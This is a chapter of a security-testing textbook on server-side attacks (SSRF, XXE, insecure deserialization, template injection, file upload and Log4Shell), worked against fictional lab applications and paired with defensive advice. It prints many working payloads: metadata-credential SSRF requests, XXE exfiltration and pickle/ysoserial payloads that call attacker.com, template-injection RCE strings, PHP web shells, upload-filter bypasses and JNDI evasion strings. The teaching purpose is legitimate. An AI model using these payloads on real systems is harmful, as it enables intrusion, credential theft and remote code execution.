17 min read

> "The server trusts itself. When you can make the server send requests on your behalf, you inherit that trust." — Orange Tsai, SSRF researcher

Learning Objectives

  • Identify and exploit Server-Side Request Forgery (SSRF) vulnerabilities
  • Perform XML External Entity (XXE) attacks against XML parsers
  • Exploit insecure deserialization in Java, PHP, Python, and .NET applications
  • Discover and exploit Server-Side Template Injection (SSTI) vulnerabilities
  • Bypass file upload restrictions to achieve remote code execution
  • Understand JNDI injection and the Log4Shell attack chain
  • Implement server-side hardening recommendations

Chapter 22: Server-Side Attacks

"The server trusts itself. When you can make the server send requests on your behalf, you inherit that trust." — Orange Tsai, SSRF researcher

Introduction

On March 22, 2019, a former Amazon Web Services employee exploited a Server-Side Request Forgery (SSRF) vulnerability in Capital One's web application firewall to access the AWS Instance Metadata Service. From there, she obtained temporary security credentials that granted access to over 100 million customer records stored in Amazon S3 buckets. The breach — one of the largest in financial services history — resulted in an $80 million regulatory fine and demonstrated how a single server-side vulnerability can cascade into catastrophic data exposure.

Two years later, on December 9, 2021, the world learned about CVE-2021-44228 — Log4Shell — a critical vulnerability in the Apache Log4j logging library that allowed remote code execution through a simple JNDI lookup string. The vulnerability affected hundreds of millions of devices worldwide and triggered the most intense vulnerability response in cybersecurity history. Log4Shell demonstrated that server-side attacks can lurk in the most unexpected places: a logging statement.

Server-side attacks exploit the trust that backend systems place in their own components, internal networks, and processing libraries. Unlike client-side attacks that target end users, server-side attacks directly compromise the application infrastructure itself. When successful, they typically yield far greater impact: internal network access, sensitive data exposure, and remote code execution.

This chapter covers the major categories of server-side attacks: SSRF, XXE, insecure deserialization, Server-Side Template Injection (SSTI), file upload exploitation, and JNDI injection. Each section provides the theoretical foundation, practical exploitation techniques against our ShopStack platform, and comprehensive defensive recommendations.

⚠️ Legal and Ethical Notice: Server-side attacks can cause significant disruption to application infrastructure. Always coordinate with system owners before testing, establish clear boundaries in your Rules of Engagement, and have rollback procedures ready. Never test for deserialization or RCE vulnerabilities against production systems without explicit authorization.


22.1 Server-Side Request Forgery (SSRF)

SSRF occurs when an attacker can make the server-side application send HTTP requests to an arbitrary destination. Because the server typically has access to internal networks and cloud metadata services that are unreachable from the internet, SSRF effectively transforms the vulnerable application into a proxy for attacking internal infrastructure.

22.1.1 Understanding SSRF

ShopStack's product catalog includes a feature that allows merchants to import product images by providing a URL. The server fetches the image, processes it, and stores it locally:

POST /api/v1/merchant/products/import-image HTTP/1.1
Host: shopstack.local
Content-Type: application/json
Authorization: Bearer <merchant_token>

{"product_id": "12345", "image_url": "https://cdn.example.com/product.jpg"}

The server-side code that processes this request might look like:

import requests

def import_product_image(image_url):
    response = requests.get(image_url)  # Server fetches the URL
    if response.headers['Content-Type'].startswith('image/'):
        save_image(response.content)
    return {"status": "success"}

The vulnerability is that the image_url parameter is user-controlled, but the HTTP request is made by the server. This means the request originates from the server's network position, with the server's privileges and network access.

22.1.2 Basic SSRF Exploitation

Accessing Cloud Metadata Services. In cloud environments (AWS, GCP, Azure), instances can access metadata services at well-known IP addresses. The AWS Instance Metadata Service (IMDS) at 169.254.169.254 is the most commonly targeted:

POST /api/v1/merchant/products/import-image HTTP/1.1
Host: shopstack.local
Content-Type: application/json

{"product_id": "12345", "image_url": "http://169.254.169.254/latest/meta-data/"}

If successful, the response reveals instance metadata including:

ami-id
hostname
instance-id
iam/
  security-credentials/
    shopstack-role

Escalating to credential theft:

{"image_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/shopstack-role"}

Returns temporary AWS credentials:

{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "wJalr...",
  "Token": "IQoJb3...",
  "Expiration": "2024-01-15T12:00:00Z"
}

These credentials can then be used to access any AWS resource the role has permissions for — exactly the attack vector used in the Capital One breach.

Scanning Internal Networks. SSRF can be used to discover and probe internal services:

# Enumerate internal services
{"image_url": "http://10.0.0.1:8080/"}
{"image_url": "http://10.0.0.2:3306/"}
{"image_url": "http://10.0.0.3:6379/"}
{"image_url": "http://192.168.1.1/admin"}

# Access internal services
{"image_url": "http://internal-api.shopstack.local:8080/api/admin/users"}
{"image_url": "http://redis.shopstack.local:6379/"}

Accessing localhost Services. Many applications run administrative interfaces on localhost that are not exposed to the network:

{"image_url": "http://127.0.0.1:8080/admin"}
{"image_url": "http://localhost:9200/_cat/indices"}  # Elasticsearch
{"image_url": "http://127.0.0.1:11211/stats"}       # Memcached

22.1.3 SSRF Filter Bypass Techniques

Applications often implement blocklists to prevent SSRF. Here are common bypass techniques:

IP Address Encoding Variations:

# Decimal encoding
http://2130706433/  (= 127.0.0.1)

# Octal encoding
http://0177.0.0.1/

# Hexadecimal encoding
http://0x7f000001/

# IPv6
http://[::1]/
http://[0000::1]/

# IPv6/IPv4 hybrid
http://[::ffff:127.0.0.1]/

# Shortened IPv4
http://127.1/
http://0/

DNS-Based Bypass:

# Register a domain that resolves to 127.0.0.1
http://spoofed.burpcollaborator.net/   # Resolves to 127.0.0.1

# Use DNS rebinding
# First resolution: legitimate IP (passes filter check)
# Second resolution: 127.0.0.1 (actual request)

# Use services like nip.io or sslip.io
http://127.0.0.1.nip.io/
http://169.254.169.254.nip.io/

URL Parser Confusion:

# URL with credentials
http://attacker.com@127.0.0.1/

# Fragment confusion
http://127.0.0.1#@legitimate-domain.com

# Redirect chains
http://attacker.com/redirect?url=http://169.254.169.254/

# URL encoding
http://127.0.0.%31/
http://%31%32%37%2e%30%2e%30%2e%31/

Protocol Smuggling:

# File protocol
file:///etc/passwd

# Gopher protocol (powerful for protocol smuggling)
gopher://127.0.0.1:6379/_SET%20pwned%20true

# Dict protocol
dict://127.0.0.1:6379/SET:pwned:true

22.1.4 Blind SSRF

In many cases, the server does not return the response body to the attacker. This is called blind SSRF. While you cannot directly read internal resources, you can still:

Detect via Timing: Measure response times to determine if internal hosts exist:

# Non-existent host - immediate error
{"image_url": "http://10.0.0.99:8080/"} → 200ms response

# Existing host, closed port - TCP RST
{"image_url": "http://10.0.0.1:8080/"} → 500ms response

# Existing host, open port - full request processed
{"image_url": "http://10.0.0.1:80/"} → 2000ms response

Detect via Out-of-Band (OOB) Interactions: Use Burp Collaborator or interactsh to detect server-side requests:

{"image_url": "http://unique-id.burpcollaborator.net/ssrf-test"}

If you receive a DNS lookup and HTTP request at your Collaborator server, SSRF is confirmed even without seeing the response.

🔵 Blue Team Perspective: Defend against SSRF by (1) implementing AWS IMDSv2, which requires a token obtained via a PUT request with a TTL header — this prevents SSRF exploitation of the metadata service because the SSRF vector typically cannot set custom HTTP methods and headers, (2) using allowlists of permitted domains/IPs rather than blocklists, (3) disabling unnecessary URL schemes (file://, gopher://, dict://), (4) resolving URLs server-side and validating the resolved IP before making the request (beware DNS rebinding), and (5) segmenting internal networks to limit blast radius.


22.2 XML External Entity (XXE) Attacks

XXE attacks exploit vulnerabilities in XML parsers that process external entity definitions. When an application parses XML input with external entities enabled, an attacker can read local files, perform SSRF, and in some cases achieve remote code execution.

22.2.1 Understanding XML Entities

XML supports entity definitions that act as variables or macros. External entities reference resources outside the XML document:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

When the XML parser processes this document, it replaces &xxe; with the contents of /etc/passwd.

22.2.2 Identifying XXE Attack Surfaces

ShopStack processes XML in several locations: - SAML authentication: Enterprise SSO integration - Product data import: Bulk product uploads via XML - Payment processing: Legacy payment gateway integration using XML/SOAP - SVG image uploads: SVG files are XML-based - RSS feed processing: Merchant product feed integration - SOAP API endpoints: Legacy API endpoints

Test ShopStack's product import endpoint:

POST /api/v1/merchant/products/import HTTP/1.1
Host: shopstack.local
Content-Type: application/xml
Authorization: Bearer <merchant_token>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE products [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<products>
  <product>
    <name>&xxe;</name>
    <price>19.99</price>
    <description>Test product</description>
  </product>
</products>

If the response includes the contents of /etc/passwd in the product name field, the application is vulnerable.

22.2.3 XXE Attack Variations

File Disclosure:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

<!-- Windows targets -->
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>

<!-- Application source code -->
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///var/www/shopstack/config/database.yml">
]>

SSRF via XXE:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>

Blind XXE via Out-of-Band (OOB) Exfiltration:

When the application processes the XML but doesn't reflect entity values in the response, use OOB techniques:

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<root>&send;</root>

Attacker-hosted evil.dtd:

<!ENTITY % combined "<!ENTITY send SYSTEM 'http://attacker.com/exfil?data=%file;'>">
%combined;

The parser loads the external DTD, which constructs an entity that exfiltrates the file contents via HTTP request to the attacker's server.

Blind XXE via Error Messages:

Some parsers include entity values in error messages:

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/error.dtd">
  %dtd;
]>
<root>&error;</root>

error.dtd:

<!ENTITY % combined "<!ENTITY error SYSTEM 'file:///nonexistent/%file;'>">
%combined;

The file contents appear in the XML parser error message about a nonexistent file.

XXE Denial of Service (Billion Laughs):

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!-- ... continues expanding exponentially ... -->
]>
<root>&lol9;</root>

⚠️ Warning: The Billion Laughs attack causes denial of service by consuming all available memory. Never execute this against production systems. In authorized testing, use a controlled lab environment and monitor resource consumption carefully.

22.2.4 XXE in Different Contexts

SVG Upload XXE:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <text x="10" y="50">&xxe;</text>
</svg>

Upload this as a profile picture or product image on ShopStack. If the SVG is rendered server-side (e.g., for thumbnail generation), the XXE payload executes.

XLSX/DOCX XXE: Office documents are ZIP archives containing XML files. Modify the XML within:

# Unzip the XLSX file
mkdir xlsx_extracted && cd xlsx_extracted
unzip ../spreadsheet.xlsx

# Modify [Content_Types].xml or xl/sharedStrings.xml
# Add XXE payload to the XML

# Repackage
zip -r ../malicious.xlsx .

SOAP-Based XXE:

POST /legacy/payment/process HTTP/1.1
Content-Type: text/xml
SOAPAction: "processPayment"

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <ProcessPayment>
      <CardNumber>&xxe;</CardNumber>
    </ProcessPayment>
  </soap:Body>
</soap:Envelope>

🔵 Blue Team Perspective: Prevent XXE by (1) disabling external entity processing and DTD loading in all XML parsers — in Python, use defusedxml; in Java, set XMLConstants.FEATURE_SECURE_PROCESSING and disable FEATURE_EXTERNAL_GENERAL_ENTITIES; in PHP, use libxml_disable_entity_loader(true), (2) using JSON instead of XML where possible, (3) validating and sanitizing XML input, (4) updating XML processing libraries to the latest versions, and (5) implementing WAF rules to detect XXE patterns.


22.3 Insecure Deserialization

Deserialization — the process of converting serialized data back into objects — is inherently dangerous when the serialized data comes from untrusted sources. Insecure deserialization can lead to remote code execution, privilege escalation, and data tampering.

22.3.1 Understanding Serialization

Applications serialize objects to store or transmit them:

# Python pickle serialization
import pickle

user_session = {"user_id": 1234, "role": "admin", "cart": []}
serialized = pickle.dumps(user_session)
# b'\x80\x05\x95...'

# Deserialization restores the object
restored = pickle.loads(serialized)

The danger arises because serialized data can include instructions for constructing objects, and some object types execute code during construction.

22.3.2 Java Deserialization Attacks

Java's ObjectInputStream.readObject() is the most notorious deserialization attack vector. Vulnerable applications accept serialized Java objects (identifiable by the magic bytes AC ED 00 05 or Base64-encoded rO0AB) from user input.

ShopStack's legacy admin interface uses Java serialized objects in session cookies:

GET /admin/dashboard HTTP/1.1
Host: shopstack.local
Cookie: admin_session=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAACdAAEdXNlcnQABWFkbWludAAEcm9sZXQABWFkbWlueA==

Generating Malicious Payloads with ysoserial:

# Generate a payload using the CommonsCollections1 gadget chain
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/pwned' | base64

# Common gadget chains to test:
# CommonsCollections1-7 (Apache Commons Collections)
# Spring1-2 (Spring Framework)
# Hibernate1-2 (Hibernate)
# Jdk7u21 (JDK built-in)
# BeanShell1 (BeanShell)

Detection Techniques:

Look for Java serialization in: - Cookies (Base64-encoded, starting with rO0AB) - Hidden form fields - HTTP request parameters - Custom HTTP headers - ViewState (JSF applications) - JMX connections - RMI communication

22.3.3 PHP Deserialization

PHP's unserialize() function is vulnerable when processing user-controlled data:

// Vulnerable code
$user_prefs = unserialize($_COOKIE['preferences']);

PHP object injection exploits "magic methods" that execute automatically:

class Logger {
    public $logFile = '/var/log/app.log';
    public $logData = '';

    function __destruct() {
        file_put_contents($this->logFile, $this->logData);
    }
}

// Attacker crafts serialized object:
// O:6:"Logger":2:{s:7:"logFile";s:18:"/var/www/shell.php";s:7:"logData";s:29:"<?php system($_GET['cmd']); ?>";}

When this serialized object is deserialized and eventually garbage-collected, the __destruct() method writes a PHP web shell.

Identifying PHP Serialization:

PHP serialized data has a distinctive format: - s:5:"hello" — String of length 5 - i:42 — Integer 42 - O:4:"User":2:{...} — Object of class "User" with 2 properties - a:3:{...} — Array with 3 elements

22.3.4 Python Deserialization

Python's pickle module is explicitly documented as insecure for untrusted data, yet applications continue to use it:

import pickle
import os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/pwned',))

# Generate malicious pickle
payload = pickle.dumps(Exploit())

The __reduce__ method tells pickle how to reconstruct the object — in this case, by calling os.system() with an arbitrary command.

Look for Python pickle usage in: - Session data stored in cookies (Flask sessions using pickle) - Cache backends (Redis, Memcached storing pickled objects) - Message queues (Celery task arguments) - Machine learning model files (.pkl, .pickle)

22.3.5 .NET Deserialization

.NET applications are vulnerable through several serializers:

// Vulnerable: BinaryFormatter
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream);  // Dangerous!

// Also vulnerable: ObjectStateFormatter (ViewState)
// Also vulnerable: SoapFormatter, NetDataContractSerializer
// Also vulnerable: JavaScriptSerializer with type information

ViewState Attacks. ASP.NET applications use ViewState to maintain page state. If ViewState MAC validation is disabled or the validation key is known, deserialization attacks are possible:

# Using ysoserial.net
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \
  -c "powershell -enc <base64_encoded_command>" -o base64

💡 Practical Tip: When testing ShopStack's .NET components, check for the __VIEWSTATE hidden field in HTML forms. If ViewStateUserKey is not set and MAC validation is disabled (check web.config), ViewState deserialization attacks may be possible.

22.3.6 Deserialization Detection and Testing

Indicators of Deserialization: - Magic bytes in cookies/parameters: rO0AB (Java), O: (PHP), \x80 (Python pickle) - Content-Type headers: application/x-java-serialized-object - Custom headers carrying encoded data - Base64-encoded binary data in unexpected locations

Testing Methodology: 1. Identify all points where the application accepts serialized data 2. Determine the serialization format and language 3. Generate detection payloads (DNS/HTTP callbacks) 4. If callbacks are received, generate exploitation payloads 5. Verify impact in a controlled manner

# Using Burp Suite's Deserialization Scanner extension
# Or using ysoserial with DNS callback for detection
java -jar ysoserial.jar URLDNS "http://unique-id.burpcollaborator.net" | base64

🔵 Blue Team Perspective: Prevent insecure deserialization by (1) never deserializing untrusted data — use JSON or other safe data formats, (2) if deserialization is necessary, implementing integrity checks (signing/HMAC) before deserializing, (3) using type-safe deserialization (allowlist permitted classes), (4) in Java, using ObjectInputFilter to restrict deserializable classes, (5) monitoring for deserialization-specific patterns in network traffic and logs.


22.4 Server-Side Template Injection (SSTI)

SSTI occurs when user input is embedded directly into server-side templates, allowing attackers to inject template directives that execute arbitrary code on the server.

22.4.1 Understanding Template Engines

Modern web applications use template engines to generate dynamic HTML:

# Jinja2 (Python)
from jinja2 import Template
template = Template("Hello, {{ name }}!")
output = template.render(name=user_input)

The vulnerability arises when user input becomes part of the template itself, rather than being passed as data:

# VULNERABLE: User input in template string
template = Template(f"Hello, {user_input}!")

# SAFE: User input as template data
template = Template("Hello, {{ name }}!")
template.render(name=user_input)

22.4.2 Detecting SSTI

Use mathematical expressions as probes to confirm template injection. ShopStack's email personalization feature might be vulnerable:

POST /api/v1/merchant/email-templates HTTP/1.1
Content-Type: application/json

{"template_name": "welcome", "greeting": "Hello {{7*7}}"}

Detection Payloads by Template Engine:

Template Engine Detection Payload Expected Output
Jinja2 (Python) {{7*7}} 49
Twig (PHP) {{7*7}} 49
Freemarker (Java) ${7*7} 49
Velocity (Java) #set($x=7*7)${x} 49
Smarty (PHP) {7*7} 49
Pebble (Java) {{7*7}} 49
ERB (Ruby) <%= 7*7 %> 49
Mako (Python) ${7*7} 49

Disambiguation. If {{7*7}} returns 49, use {{7*'7'}} to distinguish between Jinja2 (returns 7777777) and Twig (returns 49).

22.4.3 Exploiting SSTI

Jinja2 (Python) — Remote Code Execution:

# Access the os module through Python's MRO (Method Resolution Order)
{{ ''.__class__.__mro__[1].__subclasses__() }}

# Find the subprocess.Popen class and execute commands
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if c.__name__ == 'Popen' %}
    {{ c('id', shell=True, stdout=-1).communicate()[0] }}
  {% endif %}
{% endfor %}

# Shorter payload using config object
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

# Using request object
{{ request.__class__._load_form_data.__globals__.__builtins__.__import__('os').popen('id').read() }}

Twig (PHP) — Remote Code Execution:

// Execute system commands
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

// In newer Twig versions
{{['id']|filter('system')}}

Freemarker (Java) — Remote Code Execution:

// Execute commands via Runtime
${"freemarker.template.utility.Execute"?new()("id")}

// Read files
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve("/etc/passwd").toURL().openStream().readAllBytes()?join(",")}

22.4.4 Automated SSTI Testing

Use tplmap to automatically detect and exploit SSTI:

# Basic scan
python3 tplmap.py -u "http://shopstack.local/api/v1/merchant/email-templates" \
  -d '{"greeting": "*"}' --type json

# If vulnerable, get a shell
python3 tplmap.py -u "http://shopstack.local/api/v1/merchant/email-templates" \
  -d '{"greeting": "*"}' --type json --os-shell

🔵 Blue Team Perspective: Prevent SSTI by (1) never concatenating user input into template strings — always pass user input as template context data, (2) using a sandbox or restricted template execution environment (Jinja2's SandboxedEnvironment), (3) implementing input validation to reject template syntax characters, and (4) using logic-less template engines (Mustache, Handlebars) where possible, which don't support arbitrary code execution.


22.5 File Upload Vulnerabilities

File upload functionality is among the most dangerous features in web applications. When improperly secured, it allows attackers to upload executable code directly to the server.

22.5.1 Common File Upload Attack Vectors

ShopStack allows merchants to upload product images and customers to upload profile pictures. Each upload endpoint is a potential attack vector.

Web Shell Upload:

POST /api/v1/merchant/products/upload-image HTTP/1.1
Host: shopstack.local
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

22.5.2 Bypass Techniques

Extension Filtering Bypass:

shell.php           → Blocked
shell.php5          → May bypass extension filter
shell.phtml         → Alternative PHP extension
shell.php.jpg       → Double extension
shell.php%00.jpg    → Null byte injection (older systems)
shell.php;.jpg      → Semicolon injection (IIS)
shell.PhP           → Case variation
shell.php.          → Trailing dot (Windows)
shell.php::$DATA    → ADS (Windows NTFS)
.htaccess           → Apache configuration override

Content-Type Bypass:

Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: image/jpeg

Simply changing the Content-Type header to match an allowed type may bypass server-side validation that only checks this header.

Magic Bytes Bypass:

Some applications verify file types by checking the first few bytes (magic numbers):

# Create a polyglot file: valid JPEG that is also valid PHP
# JPEG magic bytes: FF D8 FF E0
payload = b'\xFF\xD8\xFF\xE0' + b'<?php system($_GET["cmd"]); ?>'

with open('polyglot.php.jpg', 'wb') as f:
    f.write(payload)

Image Processing Exploits:

Even if the file is genuinely processed as an image, vulnerabilities in image processing libraries (ImageMagick, Pillow, GD) can be exploited:

# ImageMagick exploit (ImageTragick - CVE-2016-3714)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/oops.jpg"|curl "http://attacker.com/pwned)'
pop graphic-context

22.5.3 Post-Upload Exploitation

After successfully uploading a web shell, the attacker needs to determine the upload path:

  1. Check the application response for file URLs
  2. Look for predictable upload directories (/uploads/, /images/, /media/)
  3. Check for path disclosure in error messages
  4. Use directory brute-forcing against common upload paths
# Access the uploaded web shell
curl "http://shopstack.local/uploads/products/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

🔵 Blue Team Perspective: Secure file uploads by (1) storing uploaded files outside the web root, (2) renaming files to random names without user-controlled extensions, (3) validating both file extension and content (magic bytes, full file parsing), (4) serving uploaded files through a separate domain with no script execution, (5) setting Content-Disposition: attachment and restrictive Content-Type headers when serving uploaded files, (6) using an antivirus/malware scanner on uploaded files, and (7) implementing file size limits.


22.6 JNDI Injection and Log4Shell

The Log4Shell vulnerability (CVE-2021-44228) demonstrated the catastrophic potential of JNDI injection, affecting virtually every organization running Java applications.

22.6.1 Understanding JNDI

Java Naming and Directory Interface (JNDI) provides a unified interface for accessing naming and directory services. Critically, JNDI can load and instantiate objects from remote sources:

// JNDI lookup - loads an object from LDAP
Context ctx = new InitialContext();
Object obj = ctx.lookup("ldap://attacker.com/exploit");

If an attacker can control the JNDI lookup string, they can direct the application to load a malicious Java class from an attacker-controlled server.

22.6.2 Log4Shell (CVE-2021-44228)

Apache Log4j, one of the most widely used Java logging libraries, supported JNDI lookup syntax within log messages:

// Application code - seems harmless
logger.info("User logged in: " + username);

// But if username contains a JNDI lookup string:
// ${jndi:ldap://attacker.com/exploit}
// Log4j resolves it, triggering remote class loading

The Attack Chain:

  1. Attacker sends input containing ${jndi:ldap://attacker.com:1389/exploit}
  2. The input is logged by Log4j
  3. Log4j's message lookup feature resolves the JNDI expression
  4. The application connects to the attacker's LDAP server
  5. The LDAP server responds with a reference to a malicious Java class
  6. The application downloads and instantiates the malicious class
  7. Remote Code Execution is achieved

Testing for Log4Shell:

Any input field that might be logged is a potential injection point:

# HTTP headers frequently logged
GET / HTTP/1.1
Host: shopstack.local
User-Agent: ${jndi:ldap://unique-id.interact.sh/ua}
X-Forwarded-For: ${jndi:ldap://unique-id.interact.sh/xff}
Referer: ${jndi:ldap://unique-id.interact.sh/referer}
X-Api-Version: ${jndi:ldap://unique-id.interact.sh/api}

# URL parameters
GET /search?q=${jndi:ldap://unique-id.interact.sh/search}

# POST body
POST /api/v1/auth/login
{"username": "${jndi:ldap://unique-id.interact.sh/login}"}

# Cookie values
Cookie: session=${jndi:ldap://unique-id.interact.sh/cookie}

Bypass Techniques for WAF Evasion:

${jndi:ldap://attacker.com/x}           # Basic payload
${${lower:j}ndi:ldap://attacker.com/x}  # Nested lookup
${j${::-n}di:ldap://attacker.com/x}     # String concatenation
${jndi:${lower:l}dap://attacker.com/x}  # Lower case bypass
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//attacker.com/x}
${jndi:dns://attacker.com/x}            # DNS protocol
${jndi:rmi://attacker.com/x}            # RMI protocol

22.6.3 Setting Up a Log4Shell Lab

# Start a vulnerable Log4j application
docker run -d --name log4shell-lab -p 8888:8080 \
  ghcr.io/christophetd/log4shell-vulnerable-app

# Start a JNDI exploitation server
# Using marshalsec or JNDI-Exploit-Kit
java -cp marshalsec-0.0.3-all.jar \
  marshalsec.jndi.LDAPRefServer "http://attacker.com:8000/#Exploit"

# Host the malicious class file
python3 -m http.server 8000

📊 Industry Impact: Log4Shell affected an estimated 93% of enterprise cloud environments. CISA described it as "one of the most serious vulnerabilities" ever discovered. The incident highlighted the risks of transitive dependencies — many organizations were vulnerable through libraries that included Log4j as a dependency without their knowledge.

22.6.4 Beyond Log4Shell: Other JNDI Injection Points

While Log4Shell is the most famous, JNDI injection can occur anywhere JNDI lookup strings are processed:

  • JDBC Connection Strings: If an application constructs database URLs from user input
  • JMX Configuration: Java Management Extensions using JNDI for service location
  • LDAP Query Construction: Applications that construct LDAP queries from user input
  • Spring Framework: Various Spring components that process JNDI references
  • Apache Solr, Apache Druid, Apache Struts: Known JNDI injection points

🔵 Blue Team Perspective: Mitigate JNDI injection by (1) updating Log4j to version 2.17.1+ (which completely removes JNDI lookup functionality from message patterns), (2) setting log4j2.formatMsgNoLookups=true as an interim measure, (3) removing the JndiLookup class from the classpath, (4) restricting outbound network connections from application servers, (5) monitoring for JNDI lookup patterns in network traffic, and (6) maintaining a Software Bill of Materials (SBOM) to quickly identify affected applications.


22.7 Combining Server-Side Attacks

In real-world engagements, server-side vulnerabilities often chain together for maximum impact. Let's walk through a realistic attack chain against ShopStack.

22.7.1 Attack Chain Example

Step 1: SSRF Discovery During reconnaissance, you discover that ShopStack's PDF generation feature accepts a URL parameter:

POST /api/v1/merchant/reports/generate-pdf HTTP/1.1
Content-Type: application/json

{"report_url": "https://shopstack.local/reports/monthly-sales"}

Step 2: SSRF to Internal Service Discovery Using the SSRF vulnerability, scan for internal services:

{"report_url": "http://10.0.0.5:8080/"}

You discover an internal Jenkins instance at 10.0.0.5:8080.

Step 3: SSRF to Metadata Service Access the AWS metadata service:

{"report_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/shopstack-role"}

Obtain temporary AWS credentials with access to internal resources.

Step 4: Deserialization via Internal Service The internal Jenkins instance has a known deserialization vulnerability. Using the SSRF as a proxy, deliver a ysoserial payload to Jenkins.

Step 5: Full Compromise From Jenkins, pivot to the internal network, access databases, and demonstrate full compromise of the ShopStack infrastructure.

🧪 Lab Exercise: In your ShopStack lab environment, practice chaining SSRF with one other vulnerability class (XXE, deserialization, or SSTI) to demonstrate escalated impact. Document each step of the attack chain and the trust relationships exploited.


22.8 Practical Lab: ShopStack Server-Side Assessment

Phase 1: SSRF Testing

# Test all URL input parameters for SSRF
# Use Burp Collaborator for OOB detection
# Test metadata service access (if cloud-deployed)
# Attempt protocol smuggling with gopher:// and file://

Phase 2: XXE Testing

# Identify all XML processing endpoints
# Test product import, SAML endpoints, SVG uploads
# Attempt file disclosure, SSRF, and OOB exfiltration
# Test XLSX/DOCX upload for XXE

Phase 3: Deserialization Testing

# Look for serialized data in cookies, headers, parameters
# Generate detection payloads (URLDNS for Java, OOB for Python)
# If detected, generate exploitation payloads
# Test ViewState in any .NET components

Phase 4: SSTI Testing

# Test all user-controlled content that is rendered server-side
# Email templates, product descriptions, report generation
# Use tplmap for automated detection and exploitation

Phase 5: File Upload Testing

# Test all file upload endpoints
# Attempt extension bypass, content-type manipulation
# Upload polyglot files
# Verify upload location and executability

22.9 MedSecure Healthcare Context

Server-side attacks against healthcare applications carry amplified risk due to the sensitivity of Protected Health Information (PHI).

Healthcare-Specific Concerns:

  • SSRF in Medical Device Integration: MedSecure integrates with medical devices via HL7 FHIR APIs. SSRF could expose patient data from connected devices.
  • XXE in Clinical Document Architecture (CDA): CDA documents are XML-based. XXE in clinical document processing could expose entire patient records.
  • Deserialization in Medical Imaging: DICOM image processing may involve deserialization of complex objects.
# Test MedSecure's clinical document upload
POST /api/v1/clinical/documents/upload HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE ClinicalDocument [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<ClinicalDocument xmlns="urn:hl7-org:v3">
  <title>&xxe;</title>
</ClinicalDocument>

⚖️ Regulatory Impact: Server-side attacks that expose PHI trigger HIPAA Breach Notification requirements. Organizations must notify affected individuals within 60 days, report to HHS, and for breaches affecting 500+ individuals, notify media outlets. The combination of regulatory fines, litigation costs, and reputational damage makes server-side vulnerability remediation a top priority for healthcare organizations.


22.10 Home Lab Setup for Server-Side Testing

# docker-compose-server-side-lab.yml
version: '3.8'
services:
  # SSRF practice
  ssrf-lab:
    image: jeroenwillemsen/ssrf-lab
    ports:
      - "5000:5000"

  # XXE practice
  xxe-lab:
    build:
      context: ./xxe-lab
      dockerfile: Dockerfile
    ports:
      - "5001:5000"

  # Deserialization practice
  deserlab:
    image: tyrantsec/deserlab
    ports:
      - "5002:8080"

  # SSTI practice (uses tplmap's test environment)
  ssti-lab:
    build:
      context: ./ssti-lab
    ports:
      - "5003:5000"

  # Log4Shell practice
  log4shell-lab:
    image: ghcr.io/christophetd/log4shell-vulnerable-app
    ports:
      - "8888:8080"

  # File upload practice
  upload-lab:
    image: vulnerables/upload-lab
    ports:
      - "5004:80"

  # DNS callback server
  interactsh:
    image: projectdiscovery/interactsh-server
    ports:
      - "53:53/udp"
      - "80:80"
      - "443:443"

22.11 Remediation Strategies

Server-Side Attack Remediation Matrix

Vulnerability Primary Defense Secondary Defense Priority
